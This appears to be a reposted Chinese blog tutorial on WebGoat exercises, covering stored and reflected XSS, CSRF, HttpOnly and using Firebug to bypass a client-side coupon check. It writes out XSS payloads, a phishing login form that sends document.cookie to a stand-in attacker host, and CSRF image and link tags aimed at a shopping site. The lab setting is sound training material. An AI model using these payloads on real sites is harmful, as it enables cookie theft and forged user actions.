【WebGoat笔记】
来源:互联网 发布:淘宝达人登入网址 编辑:程序博客网 时间:2024/04/29 00:37
文章来源:http://www.cnblogs.com/jonniexie/category/250726.html
主要内容:
WebGoat的安装(略),内部访问方法与后续需要使用的Firebug的一些功能
一.WebGoat安装(略)与访问
二.浏览器推荐使用Firefox
(1)FireBug安装
(2)定位查看页面元素
(3)Js调试
一.WebGoat安装(略)与访问
访问方式:
先配置host: xx.xx.xx.xx hacker.qq.com
访问URL:http://hacker.qq.com:8080/webgoat/attack
用户密码和密码是: guest/guest
主要内容
保存,反射型Xss,CSRF及HttpOnly的特性
Phishing with XSS
LAB: Cross Site Scripting
Stage 1: Stored XSS.
Stage 2: Block Stored XSS using Input Validation
Stage 3: Stored XSS Revisited
Stage 4: Block Stored XSS using Output Encoding
Stage 5: Reflected XSS.
Stage 6: Block Reflected XSS.
Stored XSS Attacks.
Reflected XSS Attacks.
Cross Site Request Forgery (CSRF)
CSRF Prompt By-Pass.
CSRF Token By-Pass.
HTTPOnly Test
Cross Site Tracing (XST) Attacks.
Phishing with XSS
分析
如图所示,我们输入任何内容,点击“Search”后会显示在左下角,
查看左下角内容的HTML源码,看是否有需要闭合的标签
方法
很完美,无任何限制。。。
输入<script>alert('xss')</script>
或者钓鱼(为了排版我用回车截断了)
<div><br><br>拍拍网登录<form
action="http://www.hacker.com/getinfo?cookie="%2bdocument.cookie>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password></td></tr></table>
<input type=submit value=LOGIN></div>
结果如下图:
LAB: Cross Site Scripting
Stage 1: Stored XSS
这个案例需要执行一个保存型的XSS
分析
普通职员可以修改查看自己的资料,管理员可以查看普通职员的资料
1.在职员larry的个人资料中插入xss脚本
2.管理员在查看larry的个人资料时运行脚本中招~(这样就可以盗取管理员身份,或者利用管理员身份来干点其他事CSRF)
方法
1.登陆larry用户,修改用户资料,把Street修改为<script>alert('xss')</script>,
点击” UpdateProfile”之后立即弹出窗口,说明这个XSS是可行的~
然后退出Larry用户,登陆Moe查看Larry的信息,验证攻击是否成功~
Stage 2: Block Stored XSS using Input Validation
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage 3: Stored XSS Revisited
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage 4: Block Stored XSS using Output Encoding
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage 5: Reflected XSS
分析
当客户端发送什么,服务器就返回什么的时候,就会出现反射型XSS,比如搜索框
方法
登陆一个manager
在搜索框中输入 <script>alert('xss')</script>
Stage 6: Block Reflected XSS
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stored XSS Attacks
分析
保存型Xss是攻击者将Xss代码保存在服务器上,任何用户访问都会中招~
方法
输入以下数据:
Reflected XSS Attacks
上一节已经讲过了,这里还可以输入<script>alert('xss')</script>
Cross Site Request Forgery (CSRF)
分析
这个和XSS类似,不过XSS是骗取用户的信息,然后复制用户身份进行攻击
CSRF不用获得用户信息,在消息中插入,如果用户在看这封邮件的时候,正好登陆了paipai,又一不小心点击了下面这个链接,那么被害者就会执行攻击者发送的CGI命令xxcgi(可能是改价,删除商品等敏感操作)
<a href="http://www.paipai.com/xxcgi?xx=x;jj=j" target="_blank">点我你就中招了</a>
或者
<img src="http://www.paipai.com/xxcgi?xx=x;jj=j" />
前者需要用户点击,而后者用户看到这个帖子的时候就自动发送了请求~
CSRF Prompt By-Pass
分析
这个攻击需要两部,一次输入转账的数目,第二次确认,没有验证码的时代好危险。。。。
方法
<img src="?transferFunds=4000" />
<img src="?transferFunds=CONFIRM" />
CSRF Token By-Pass
。。。我倒,不知道怎么就过了
HTTPOnly Test
关于httponly:
If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.
大家可以看看httponly设置前后Js读取Cookie的情况
二.浏览器推荐使用Firefox
在完成WebGoat的任务时,会有修改页面元素的部分,FireBug是个很不错的工具,可以助你早日通关,下面介绍下FireBug中之后我们会用到的几个功能
(1)FireBug安装
点击工具->附加组件打开组件管理器
获取附加组件中搜索FireBug,点击安装即可
打开FireBug,下面标记的是我们重点将用到的三个按钮
(2)定位查看页面元素
当我们激活”查看页面元素”按钮的时候,鼠标在页面移动时会有一个蓝色的框高亮显示当前鼠标所在元素,相应的下面HTML栏里面会在DOM树里面找到该元素所在位置,如下图所示
找到该元素后,点击左键确认,释放” 查看页面元素”按钮功能,这时我们就可以在HTML栏里面修改该元素的值
比如我要把” How To Work With WebGoat” 修改成 “Welcome to Paipai”
点击,输入
查看页面,应该是即时生效了
(3)Js调试
注意上图中,脚本项要设置为”启动”
在这里我们用WebGoat中的一个实例来显示这个功能
实例位置:AJAX Security 下面的 Insecure Client Storage
目标:用户输入一个coupon后点击”Purchase”,前台Js会验证code的有效性,我们要通过修改Js运行时的变量值跳过这个检查~
使用” 查看页面元素”工具查看coupon code输入框,发现提交时,验证coupon code的js函数是javascript/clientSideValidation.js中的isValidCoupon(field1.value)函数
我们选中脚本栏,选择javascript/clientSideValidation.js文件,就可以找到isValidCoupon函数,或者在右侧的搜索框中直接输入isValidCoupon也可以查找到isValidCoupon函数
查看isValidCoupon函数,可以发现下图红框处就是判断coupon code是否合法的关键代码行了,在行数左侧点左键,设置一个断点
在coupon code的输入框内输入任何一个字母:
这时激活了onkeyup事件,调用isValidCoupon,程序运行到我们设置的断点处
可以看到我们输入的是coupon = 1
把鼠标放到变量decrypted上,显示decrypted = “PLATINUM”
要是函数返回ture,我们需要coupon == decrypted成立,所以我们在右边的监控栏中把coupon的值改成PLATINUM
鼠标移动到coupon上看看coupon的值已经被修改,点击运行按钮,通过~
- 【WebGoat笔记】
- 【WebGoat 学习笔记】--2.安装
- 安全攻击:webgoat课程笔记
- Webgoat
- 【WebGoat笔记】之一 --- WebGoat安装,访问与Firebug的使用
- 【WebGoat笔记】之二 --- Access Control Flaws
- 【WebGoat笔记】之三 --- AJAX Security
- 【WebGoat笔记】之五 --- Injection Flaws
- WebGoat学习笔记一---Access Control Flaws
- WebGoat学习笔记二---AJAX Security
- 【WebGoat 学习笔记】--1.简介及下载
- 【WebGoat笔记】--- Cross-Site Scripting(XSS)
- 【WebGoat笔记】之三 --- AJAX Security
- 【WebGoat笔记】之五 --- Injection Flaws
- WebGoat学习笔记(一)——HTTP Splitting
- WebGoat学习笔记(二)——JASON Injection
- WebGoat学习笔记(三)——Code Quality
- WebGoat学习笔记(四)——Phishing with XSS
- iOS中显示任何TTF字体
- Linux笔记——linux进程
- 没积分 了
- 常用设计模式总结--组合模式
- 呵呵
- 【WebGoat笔记】
- 语义网降临
- push mail
- 彻底抛弃Interface Builder
- Using SIMD Instructions For Image Processing
- 破解weblogic10.0(转载)
- H.264
- C++中文本文件读取优化-使用缓冲
- JAVA Version JSON to XML(JSON转XML)